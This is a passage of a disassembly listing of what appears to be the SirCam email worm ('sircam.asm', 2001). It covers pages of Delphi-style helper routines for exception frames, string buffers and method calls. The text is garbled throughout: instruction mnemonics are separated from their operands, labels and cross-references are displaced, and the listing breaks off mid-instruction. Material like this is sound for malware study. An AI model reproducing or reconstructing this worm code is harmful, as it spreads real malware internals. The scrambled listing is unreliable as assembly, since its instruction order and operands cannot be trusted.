call mov call add add inc dec jnz ; CODE XREF: sub_40CBE4+61\031j ecx, [ebp+var_18] edx, [ebp+var_C] eax, [ebp+var_4] edi, [eax] dword ptr [edi+0Ch] eax, [ebp+var_18] sub_403724 eax, 2 ebx, eax [ebp+var_C] esi short loc_40CC26 mov mov xor call mov mov mov dec test jl inc mov ; CODE XREF: sub_40CBE4+38\030j eax, [ebp+var_8] ecx, ebx edx, edx sub_4035B0 ebx, [ebp+var_8] ebx, [ebx] esi, [ebp+var_10] esi esi, esi short loc_40CCA0 esi [ebp+var_C], 0 lea mov mov mov call mov call mov test jz mov mov mov call add ; CODE XREF: sub_40CBE4+BA\031j ecx, [ebp+var_14] edx, [ebp+var_C] eax, [ebp+var_4] edi, [eax] dword ptr [edi+0Ch] eax, [ebp+var_14] sub_403724 edi, eax edi, edi short loc_40CC92 edx, ebx eax, [ebp+var_14] ecx, edi sub_4026B0 ebx, edi mov inc mov inc inc dec jnz ; CODE XREF: sub_40CBE4+9E\030j byte ptr [ebx], 0Dh ebx byte ptr [ebx], 0Ah ebx [ebp+var_C] esi short loc_40CC68 xor pop pop pop mov push ; CODE XREF: sub_40CBE4+7A\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_40CCC2 loc_40CC26: loc_40CC47: loc_40CC68: loc_40CC92: loc_40CCA0: loc_40CCAD: sub_40CBE4 350 ; CODE XREF: CODE:0040CCC0\031j lea eax, [ebp+var_18] mov edx, 2 call sub_4034EC retn endp ; sp = -2Ch sircam.asm Fri Aug 10 12:42:44 2001 351 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40CCBB: ; DATA XREF: sub_40CBE4+1A\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40CCAD ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40CCC2: ; DATA XREF: sub_40CBE4+C4\030o pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40CCCC proc near var_C var_8 var_4 = dword ptr -0Ch = dword ptr -8 = dword ptr -4 ; CODE XREF: sub_40D598+11\031p ; DATA XREF: CODE:0040BAE4\030o push mov add push push push xor mov mov mov xor push push push mov mov mov call mov dec test jl inc xor ebp ebp, esp esp, 0FFFFFFF4h ebx esi edi ecx, ecx [ebp+var_C], ecx [ebp+var_8], edx [ebp+var_4], eax eax, eax ebp offset loc_40CD39 dword ptr fs:[eax] fs:[eax], esp eax, [ebp+var_4] edx, [eax] dword ptr [edx+14h] ebx, eax ebx ebx, ebx short loc_40CD20 ebx esi, esi lea mov mov mov call mov mov call test jz inc dec jnz ; CODE XREF: sub_40CCCC+52\031j ecx, [ebp+var_C] edx, esi eax, [ebp+var_4] edi, [eax] dword ptr [edi+0Ch] eax, [ebp+var_C] edx, [ebp+var_8] sub_406E64 eax, eax short loc_40CD23 esi ebx short loc_40CD00 loc_40CD00: sircam.asm Fri Aug 10 12:42:44 2001 loc_40CD20: ; CODE XREF: sub_40CCCC+2F\030j or esi, 0FFFFFFFFh xor pop pop pop mov push ; CODE XREF: sub_40CCCC+4E\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_40CD40 loc_40CD23: loc_40CD30: sub_40CCCC 352 ; CODE XREF: CODE:0040CD3E\031j lea eax, [ebp+var_C] call sub_4034C8 retn endp ; sp = -20h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40CD39: ; DATA XREF: sub_40CCCC+17\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40CD30 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40CD40: ; DATA XREF: sub_40CCCC+5F\030o mov eax, esi pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40CD4C proc near var_4 arg_0 = dword ptr -4 = dword ptr 8 push mov push push push push mov mov mov mov mov mov mov call mov mov mov mov call pop pop pop pop pop ; CODE XREF: sub_40CE7C+69\031p ; sub_40CF2C+25\031p ebp ebp, esp ecx ebx esi edi [ebp+var_4], ecx edi, edx esi, eax ecx, [ebp+var_4] edx, edi eax, esi ebx, [eax] dword ptr [ebx+54h] ecx, [ebp+arg_0] edx, edi eax, esi ebx, [eax] dword ptr [ebx+24h] edi esi ebx ecx ebp sircam.asm sub_40CD4C Fri Aug 10 12:42:44 2001 retn endp 353 4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40CD7C proc near var_4 = dword ptr -4 push mov push push mov push mov mov mov call mov xor push push push mov mov mov mov call xor pop pop pop mov push ; DATA XREF: CODE:0040BAEC\030o ; CODE:0040BC0C\030o ebp ebp, esp ecx esi esi, eax 20h ecx, edx eax, ds:off_40BD3C dl, 1 sub_40D940 [ebp+var_4], eax eax, eax ebp offset loc_40CDC4 dword ptr fs:[eax] fs:[eax], esp edx, [ebp+var_4] eax, esi ecx, [eax] dword ptr [ecx+5Ch] eax, eax edx ecx ecx fs:[eax], edx offset loc_40CDCB loc_40CDBB: sub_40CD7C ; CODE XREF: CODE:0040CDC9\031j mov eax, [ebp+var_4] call sub_402BDC retn endp ; sp = -10h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40CDC4: ; DATA XREF: sub_40CD7C+1D\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40CDBB ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40CDCB: ; DATA XREF: sub_40CD7C+3A\030o pop esi pop ecx pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40CDD0 proc near ; DATA XREF: CODE:0040BAF0\030o ; CODE:0040BC10\030o sircam.asm var_8 var_4 Fri Aug 10 12:42:44 2001 = dword ptr -8 = dword ptr -4 push mov add push push xor mov mov mov xor push push push mov mov call xor push push push mov mov call mov mov call sub lea mov xor call mov mov mov mov call mov mov mov call xor pop pop pop mov push loc_40CE48: sub_40CDD0 354 ebp ebp, esp esp, 0FFFFFFF8h ebx esi ecx, ecx [ebp+var_8], ecx ebx, edx [ebp+var_4], eax eax, eax ebp offset loc_40CE6E dword ptr fs:[eax] fs:[eax], esp eax, [ebp+var_4] sub_40C890 eax, eax ebp offset loc_40CE51 dword ptr fs:[eax] fs:[eax], esp eax, ebx sub_40D84C esi, eax eax, ebx sub_40D830 esi, eax eax, [ebp+var_8] ecx, esi edx, edx sub_4035B0 edx, [ebp+var_8] ecx, esi eax, ebx ebx, [eax] dword ptr [ebx+4] edx, [ebp+var_8] eax, [ebp+var_4] ecx, [eax] dword ptr [ecx+2Ch] eax, eax edx ecx ecx fs:[eax], edx offset loc_40CE58 ; CODE XREF: CODE:0040CE56\031j mov eax, [ebp+var_4] call near ptr loc_40C947+5 retn endp ; sp = -24h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40CE51: ; DATA XREF: sub_40CDD0+2B\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40CE48 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40CE58: ; DATA XREF: sub_40CDD0+73\030o xor pop pop pop eax, eax edx ecx ecx sircam.asm Fri Aug 10 12:42:44 2001 mov push 355 fs:[eax], edx offset loc_40CE75 loc_40CE65: ; CODE XREF: CODE:0040CE73\031j lea eax, [ebp-8] call sub_4034C8 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40CE6E: ; DATA XREF: sub_40CDD0+15\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40CE65 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40CE75: ; DATA XREF: CODE:0040CE60\030o pop esi pop ebx pop ecx pop ecx pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40CE7C proc near var_8 var_4 = dword ptr -8 = dword ptr -4 push mov add push push push xor mov mov mov mov xor push push push mov cmp jz mov call xor push push push mov lea mov mov mov call mov mov mov call mov ; DATA XREF: CODE:0040BAF4\030o ; CODE:0040BC14\030o ebp ebp, esp esp, 0FFFFFFF8h ebx esi edi ebx, ebx [ebp+var_8], ebx esi, ecx ebx, edx [ebp+var_4], eax eax, eax ebp offset loc_40CF1D dword ptr fs:[eax] fs:[eax], esp esi, ebx short loc_40CF07 eax, [ebp+var_4] sub_40C890 eax, eax ebp offset loc_40CF00 dword ptr fs:[eax] fs:[eax], esp ecx, [ebp+var_8] edx, ebx eax, [ebp+var_4] edi, [eax] dword ptr [edi+0Ch] edx, ebx eax, [ebp+var_4] ecx, [eax] dword ptr [ecx+18h] edi, eax sircam.asm Fri Aug 10 12:42:44 2001 mov mov mov call push mov mov mov call xor pop pop pop mov push 356 edx, ebx eax, [ebp+var_4] ecx, [eax] dword ptr [ecx+44h] edi ecx, [ebp+var_8] edx, esi eax, [ebp+var_4] sub_40CD4C eax, eax edx ecx ecx fs:[eax], edx offset loc_40CF07 loc_40CEF7: ; CODE XREF: sub_40CE7C+89\031j mov eax, [ebp+var_4] call near ptr loc_40C947+5 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40CF00: ; DATA XREF: sub_40CE7C+32\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40CEF7 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40CF07: ; CODE XREF: sub_40CE7C+25\030j ; DATA XREF: sub_40CE7C+76\030o xor pop pop pop mov push eax, eax edx ecx ecx fs:[eax], edx offset loc_40CF24 loc_40CF14: sub_40CE7C ; CODE XREF: CODE:0040CF22\031j lea eax, [ebp+var_8] call sub_4034C8 retn endp ; sp = -1Ch ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40CF1D: ; DATA XREF: sub_40CE7C+18\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40CF14 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40CF24: ; DATA XREF: sub_40CE7C+93\030o pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40CF2C proc near push ebx push esi push edi push ebp ; DATA XREF: CODE:0040BAB4\030o sircam.asm sub_40CF2C Fri Aug 10 12:42:44 2001 mov mov mov mov mov mov call mov mov mov mov call push mov mov mov call pop pop pop pop retn endp 357 ebp, ecx esi, edx ebx, eax edx, esi eax, ebx ecx, [eax] dword ptr [ecx+18h] edi, eax edx, esi eax, ebx ecx, [eax] dword ptr [ecx+44h] edi ecx, ebp edx, esi eax, ebx sub_40CD4C ebp edi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND] align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40CF60 proc near var_C var_8 var_4 = dword ptr -0Ch = dword ptr -8 = dword ptr -4 ; DATA XREF: sub_40C900+11\030o push ebp mov ebp, esp add esp, 0FFFFFFF4h xor ecx, ecx mov [ebp+var_C], ecx mov [ebp+var_8], edx mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_40D004 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_8] call sub_40DEA0 mov eax, [ebp+var_4] call sub_40C890 xor eax, eax push ebp push offset loc_40CFDF push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] mov edx, [eax] call dword ptr [edx+40h] jmp short loc_40CFBD ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40CFA7: ; CODE XREF: sub_40CF60+67\031j lea mov call edx, [ebp+var_C] eax, [ebp+var_8] sub_40DEEC sircam.asm Fri Aug 10 12:42:44 2001 mov mov mov call edx, [ebp+var_C] eax, [ebp+var_4] ecx, [eax] dword ptr [ecx+34h] mov call test jz xor pop pop pop mov push ; CODE XREF: sub_40CF60+45\030j eax, [ebp+var_8] sub_40DDF4 al, al short loc_40CFA7 eax, eax edx ecx ecx fs:[eax], edx offset loc_40CFE6 loc_40CFBD: loc_40CFD6: sub_40CF60 358 ; CODE XREF: CODE:0040CFE4\031j mov eax, [ebp+var_4] call near ptr loc_40C947+5 retn endp ; sp = -20h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40CFDF: ; DATA XREF: sub_40CF60+32\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40CFD6 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40CFE6: mov call xor pop pop pop mov push ; DATA XREF: sub_40CF60+71\030o eax, [ebp-8] sub_40DEA8 eax, eax edx ecx ecx fs:[eax], edx offset loc_40D00B loc_40CFFB: ; CODE XREF: CODE:0040D009\031j lea eax, [ebp-0Ch] call sub_4034C8 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40D004: ; DATA XREF: sub_40CF60+14\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40CFFB ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40D00B: ; DATA XREF: CODE:0040CFF6\030o mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40D010 proc near var_4 = dword ptr -4 push ebp ; DATA XREF: CODE:0040BAF8\030o ; CODE:0040BC18\030o sircam.asm Fri Aug 10 12:42:44 2001 mov push push mov push mov mov mov call mov xor push push push mov mov mov mov call xor pop pop pop mov push ebp, esp ecx esi esi, eax 0FFFFh ecx, edx eax, ds:off_40BD3C dl, 1 sub_40D940 [ebp+var_4], eax eax, eax ebp offset loc_40D05B dword ptr fs:[eax] fs:[eax], esp edx, [ebp+var_4] eax, esi ecx, [eax] dword ptr [ecx+68h] eax, eax edx ecx ecx fs:[eax], edx offset loc_40D062 loc_40D052: sub_40D010 359 ; CODE XREF: CODE:0040D060\031j mov eax, [ebp+var_4] call sub_402BDC retn endp ; sp = -10h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40D05B: ; DATA XREF: sub_40D010+20\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40D052 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40D062: ; DATA XREF: sub_40D010+3D\030o pop esi pop ecx pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40D068 proc near var_4 = dword ptr -4 push mov push push push mov mov xor push push push mov lea ; DATA XREF: CODE:0040BAFC\030o ; CODE:0040BC1C\030o ebp ebp, esp 0 ebx esi esi, edx ebx, eax eax, eax ebp offset loc_40D0B5 dword ptr fs:[eax] fs:[eax], esp edx, [ebp+var_4] sircam.asm Fri Aug 10 12:42:44 2001 mov mov call mov call mov mov mov call xor pop pop pop mov push eax, ebx ecx, [eax] dword ptr [ecx+1Ch] eax, [ebp+var_4] sub_403724 ecx, eax edx, [ebp+var_4] eax, esi sub_40D8BC eax, eax edx ecx ecx fs:[eax], edx offset loc_40D0BC loc_40D0AC: sub_40D068 360 ; CODE XREF: CODE:0040D0BA\031j lea eax, [ebp+var_4] call sub_4034C8 retn endp ; sp = -14h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40D0B5: ; DATA XREF: sub_40D068+E\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40D0AC ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40D0BC: ; DATA XREF: sub_40D068+3F\030o pop esi pop ebx pop ecx pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND] align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40D0C8 proc near ; CODE XREF: sub_40C6F0+F\030p push ebx push esi mov esi, edx mov ebx, eax cmp dword ptr [ebx+8], 0 jz short loc_40D0DC mov eax, [ebx+8] mov edx, [eax] call dword ptr [edx+10h] loc_40D0DC: lea mov call cmp jz mov mov mov call ; CODE XREF: sub_40D0C8+A\030j eax, [ebx+8] edx, esi sub_404BF0 dword ptr [ebx+8], 0 short 